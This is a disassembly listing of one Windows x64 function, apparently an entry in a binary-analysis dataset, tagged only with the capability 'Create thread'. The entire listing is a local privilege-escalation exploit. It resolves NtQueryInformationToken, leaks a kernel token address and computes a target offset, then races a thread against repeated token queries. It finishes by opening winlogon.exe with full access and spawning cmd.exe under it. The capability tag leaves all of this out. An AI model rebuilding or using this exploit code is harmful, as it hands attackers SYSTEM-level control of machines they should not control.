Function at 0x1400112a8
Capabilities:
Create thread

Disassembly:
jmp 0x140011ff0
push rbp
push rdi
sub rsp, 0x1f8
lea rbp, [rsp + 0x30]
lea rcx, [0x1400240a4]
call fcn.1400113cf
nop
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbp + 8], rax
lea rdx, str.NtQueryInformationToken
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14001e1e0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [0x14001e1e8]
mov edx, 0xf01ff
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
nop
mov rcx, qword [0x14001e1e8]
call fcn.14001121c
mov qword [0x14001e208], rax
mov r8, qword [0x14001e208]
mov rdx, qword [0x14001e1e8]
lea rcx, str.hToken:__x__kTokenAddr:__p_n
call fcn.1400111a4
nop
call qword [sym.imp.ucrtbased.dll_getchar]
nop
mov eax, dword [section..data]
mov r9d, 4
mov r8d, 0x1000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [0x14001e1f0], rax
cmp qword [0x14001e1f0], 0
jne 0x1400120bd
mov eax, 0xffffffff
jmp 0x1400122ce
lea rax, [0x14001e1f8]
mov qword [rsp + 0x20], rax
mov r9d, dword [section..data]
mov r8, qword [0x14001e1f0]
mov edx, 0x16
mov rcx, qword [0x14001e1e8]
call qword [0x14001e1e0]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jne 0x140012145
mov rax, qword [0x14001e1f0]
mov rax, qword [rax + 0x50]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x48]
cmp dword [rax], 0
je 0x140012145
mov rax, qword [rbp + 0x48]
mov rax, qword [rax + 8]
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0
je 0x140012145
mov rax, qword [rbp + 0x68]
add rax, 0x20
sub rax, qword [0x14001e1f0]
mov dword [0x14001e1fc], eax
mov edx, dword [0x14001e1fc]
lea rcx, str.Found_target_offset_value:_0x_x_n
call fcn.1400111a4
nop
cmp dword [0x14001e1fc], 0
jne 0x140012158
mov eax, 0xffffffff
jmp 0x1400122ce
mov eax, dword [0x14001e1fc]
mov rcx, qword [0x14001e1f0]
add rcx, rax
mov rax, rcx
mov qword [0x14001e200], rax
mov rdx, qword [0x14001e200]
lea rcx, str.Target_address__0x_llx_n
call fcn.1400111a4
nop
mov qword [rbp + 0x88], 0xffffffffffffffff
lea rcx, str.winlogon.exe
call fcn.140011294
mov dword [rbp + 0xa4], eax
xor eax, eax
cmp eax, 1
je 0x140012281
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x14001128f]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0xc8], rax
mov edx, 0xf
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
nop
mov dword [rbp + 0xe4], 0
jmp 0x140012207
mov eax, dword [rbp + 0xe4]
inc eax
mov dword [rbp + 0xe4], eax
cmp dword [rbp + 0xe4], 0x1388
jge 0x140012242
lea rax, [0x14001e1f8]
mov qword [rsp + 0x20], rax
mov r9d, dword [section..data]
mov r8, qword [0x14001e1f0]
mov edx, 0x16
mov rcx, qword [0x14001e1e8]
call qword [0x14001e1e0]
nop
jmp 0x1400121f9
mov edx, 0xffffffff
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
mov r8d, dword [rbp + 0xa4]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
je 0x14001227c
jmp 0x140012281
jmp 0x1400121a3
mov rdx, qword [rbp + 0x88]
lea rcx, str.Got_Winlogon_handle:_0x_x_n
call fcn.1400111a4
nop
call qword [sym.imp.ucrtbased.dll_getchar]
nop
lea rdx, str.C:Windows_system32cmd.exe
mov rcx, qword [rbp + 0x88]
call fcn.140011217
nop
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, qword [0x14001e1e8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
xor eax, eax
lea rsp, [rbp + 0x1c8]
pop rdi
pop rbp
ret